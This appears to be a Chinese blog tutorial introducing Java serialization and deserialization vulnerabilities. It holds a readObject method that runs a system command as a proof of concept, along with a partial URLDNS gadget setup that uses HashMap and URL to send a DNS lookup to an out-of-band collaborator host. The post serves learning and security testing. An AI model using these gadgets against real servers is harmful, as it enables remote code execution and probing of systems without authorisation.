Java反序列化基础1

Java反序列化基础1

参考文章

java序列化与反序列化全讲解

Java反序列化基础篇-01-反序列化概念与利用

Java反序列化漏洞专题-基础篇

概述

序列化与反序列化

**Java序列化:**Java对象->字节序列

**Java反序列化:**字节序列->Java对象


为什么需要序列化与反序列化

为了传输数据,在两个java进程之中进行通信

序列化:将对象的状态保存到存储介质中或通过网络传输

反序列化:从存储介质或网络接收的数据重建对象


序列化与反序列化的应用场景

  • 想把内存中的对象保存到一个文件或者数据库中的时候
  • 想用套接字在网络上传送对象的时候
  • 想通过RMI传输对象的时候

样例代码解析

代码

package org.example;

import java.io.Serializable;

public class Person implements Serializable {

    private String name;
    private int age;

    public Person(){

    }
    // 构造函数
    public Person(String name, int age){
        this.name = name;
        this.age = age;
    }

    @Override
    public String toString(){
        return "Person{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}
package org.example;



import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class SerializationTest {
    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("src/main/ser.bin"));
        oos.writeObject(obj);
    }

    public static void main(String[] args) throws Exception{
        Person person = new Person("aa",22);
        System.out.println(person);
        serialize(person);
    }
}

package org.example;


import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializeTest {
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception{
        Person person = (Person)unserialize("src/main/ser.bin");
        System.out.println(person);
    }
}

运行结果

SerializationTest

1754834353339-71bbb755-731e-4b4c-beac-923b3e5aa99a.png

UnserializeTest

1754834363797-67d79296-f03d-4da9-9fd0-aa37034ef713.png

详解

Persion类

implements Serializable:这是一个标记接口,表示当前类可以被 ObjectOutputStream 序列化,以及被 ObjectInputStream 反序列化。

public class Person implements Serializable{}

如果去掉则会报错

SerializationTest类(序列化)

这里把序列化操作封装咋子serialize方法中,传入java对象之后,创建ObjectOutputStream对象,它包装了一个FileOutputStream,而FileOutputStream用于写入到文件

再通过 oos.writeObject(obj)将传入的对象写入到输出流中,进行序列化

// 创建ObjectInputStream,包装FileInputStream
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
// 从输入流读取对象
Object obj = ois.readObject();
oos.writeObject(obj);
// 自动关闭流(try-with-resources语法)

UnserializeTest类(反序列化)

ObjectInputStream 是Java对象反序列化的核心类,它可以从字节流重建Java对象,将FileInputStream包装到ObjectInputStream,从输入流中读取对象后返回。

// 创建ObjectInputStream,包装FileInputStream
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
// 从输入流读取对象
Object obj = ois.readObject();
return obj;  // 返回反序列化的对象

Serializable 接口的特点

序列化类的属性没有实现 Serializable接口 那么再序列化就会报错

将原来的 implements Serializable接口删掉就会出现此报错

1754836637835-c8f6f60c-7dd4-4085-8c00-b303e97cdb0e.png

在反序列化过程中,它的父类如果没有实现序列化接口,那么将需要提供无参构造函数来重新创建对象。

Animal 是父类,它没有实现 Serilizable 接口

public class Animal {
    private String color;
 
    public Animal() {//没有无参构造将会报错
        System.out.println("调用 Animal 无参构造");
    }
 
    public Animal(String color) {
        this.color = color;
 
            System.out.println("调用 Animal 有 color 参数的构造");
    }
 
    @Override
    public String toString() {
        return "Animal{" +
                "color='" + color + '\'' +
                '}';
    }
}

BlackCat 是 Animal 的子类

public class BlackCat extends Animal implements Serializable {
    private static final long serialVersionUID = 1L;
    private String name;
 
    public BlackCat() {
        super();
        System.out.println("调用黑猫的无参构造");
    }
 
    public BlackCat(String color, String name) {
        super(color);
        this.name = name;
        System.out.println("调用黑猫有 color 参数的构造");
    }
 
    @Override
    public String toString() {
        return "BlackCat{" +
                "name='" + name + '\'' +super.toString() +'\'' +
                '}';
    }
}

输出结果

1754837384731-c5e679fc-cc19-4269-b048-cebaffcc4f7c.png

由此执行结果可知,如果序列化的对象的父类Animal没有实现序列化接口,那么再反序列化时就会调用对应的无参构造方法,这样做的目的时重新初始化父类的属性,例如 Animal 因为没有实现序列化接口,因此对应的 color 属性就不会被序列化,因此反序列得到的 color 值就为 null。

一个实现 Serializable 接口的子类也是可以被序列化的

静态成员变量是不能被序列化

序列化是针对对象属性的,而静态成员变量是属于类的。

transient 标识的对象成员变量不参与序列化

//改为
private transient String name;

1754837846374-c6bfdd5a-223e-4fce-ad93-fc2ae4a7f5bd.png

1754837922297-94d470b8-7217-43fa-9011-49a1884637b9.png

这里可以看到反序列化中的name变成了nulll。

Java反序列化的安全问题

根据开发需要的不同可以通过**writeObject和readObject **方法自定义序列化过程

为什么会产生安全问题

只要服务端反序列化数据,客户端传递类的readObject代码就会自动执行,给予了攻击者再服务器上运行代码的能力。

可能的形式

入口类的readObject直接调用危险方法

在之前的Persion类中添加readObject方法

 private void readObject(ObjectInputStream ois) throws IOException,ClassNotFoundException{
        ois.defaultReadObject();
        Runtime.getRuntime().exec("calc");
    }

1754839378263-426b0614-14cd-47a8-aaa2-09f8af64f976.png

如此在反序列化 的过程中就会自动执行readObject方法,如果里面有恶意代码就会导致恶意执行

同时以下情况也会触发java反序列化漏洞

入口类参数中包含可控类,该类有危险方法,readObject时调用

入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用。

比如类型定义为Object,调用equals/hashcode/toString

构造函数/静态代码块等类加载时隐式执行

产生漏洞的攻击路线

可利用的共同条件

继承Serializable

入口类source:(重写readObject 调用常见的函数 参数类型宽泛 最好jdk自带)例如Map类

调用链 gadget chain 相同名称,相同类型

执行类sink (rce ssrf文件等等)最重要 比如exec这种函数


这里以HashMap作为示例,跟踪到实现

1754847531345-e2a100fb-d839-4057-a020-76cfc6d43aa5.png

说明HashMap**继承了Serializable接口****,满足了第一条件**

再在它的方法中找到了**重写的readObject**1754847629448-6d92176e-e250-4031-8cff-36251b01931c.png

在readObject方法中找到

1754847761085-46dff3aa-7335-49fb-9ee1-ea607feff009.png

再到

1754847862841-42bee3ec-4b2b-4fed-8a35-aa957254432a.png

这里的hashCode在Object类中,满足我们**调用常见函数,函数类型宽泛**的条件。、

综上所述,HashMap是一个很好的入口类

URLDNS实战

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

利用链:

1754845441981-7dceef6b-a859-4214-97f7-af63b35c5e48.png

如果要尝试ssrf漏洞的话就可以想到URL类。

1754848189703-02c2df3a-1f3d-4317-8cb1-68e560c8b858.png

可以看到URL继承了**Serializable接口****,**

openConnection方法跟踪下去会发现太复杂,不好利用,且此函数方法少见,而调用的时候需要用同名函数替换。

所以要找一个常见的函数比如说hashcode,一步步跟踪

1754848559079-bc7a13de-ade1-42b0-a903-8ac99186a575.png

1754848608434-d1e2949f-e169-44b3-b377-1874cda4d311.png

getHostAddress:根据域名来获取地址。下面就会有域名解析类的工作


所以说,如果调用URL类的hashcode函数就会一个dns请求,就可以验证是否存在漏洞。


复现

在SerializationTest.java 文件下添加如下代码

这里的url我用bp生成的来接收dns

public static void main(String[] args) throws Exception{
        Person person = new Person("aa",22);
        HashMap<URL,Integer> hashmap=new HashMap<URL,Integer>();
        hashmap.put(new URL("http://7v3spzdbjo1uiz4h1b0013qufllb90.oastify.com"),1);
        HashMap a=new HashMap<>();
        //System.out.println(person);
        serialize(hashmap);
    }

1754849249853-63a9c04a-741e-410e-ba15-ebe79a46270b.png

按道理来说这次是序列化,应该不会发送dns请求的,但是我们还是接收到了

那为什么序列化的时候也会发送dns请求呢

我们首先翻看一下hashmap的put方法

1754850679039-33fbf855-6258-41f5-84c9-a2c0e2bc1502.png

这里发现就直接调用hash,进而调用了hashcode。

我们翻看一下URL对象的hashcode方法

这里hashcode被初始化为-1

1754849616252-44aa2242-6426-4386-8b2d-da9fd5833773.png

所以刚开始hashcode初始化为-1的时候,hashmap.put就发送了dns请求,并且运行完之后hashcode的值变化,反序列化时反而不能触发dns。

如果要解决这个问题的话,我们就需要在序列化时

 public static void main(String[] args) throws Exception{
        Person person = new Person("aa",22);
        HashMap<URL,Integer> hashmap=new HashMap<URL,Integer>();
     //这里不要发送请求   
     hashmap.put(new URL("http://7v3spzdbjo1uiz4h1b0013qufllb90.oastify.com"),1);
     //这里要把hashcode改回-1   
     //通过反射改变一个已有对象的属性
     HashMap a=new HashMap<>();
        //System.out.println(person);
        serialize(hashmap);
    }

这里需要用到java的反射,所有poc还是放到下一篇吧。

更新: 2025-08-31 15:08:59
原文: https://www.yuque.com/cindahy/ukztx0/ouvi1pa9g1stac6f

评论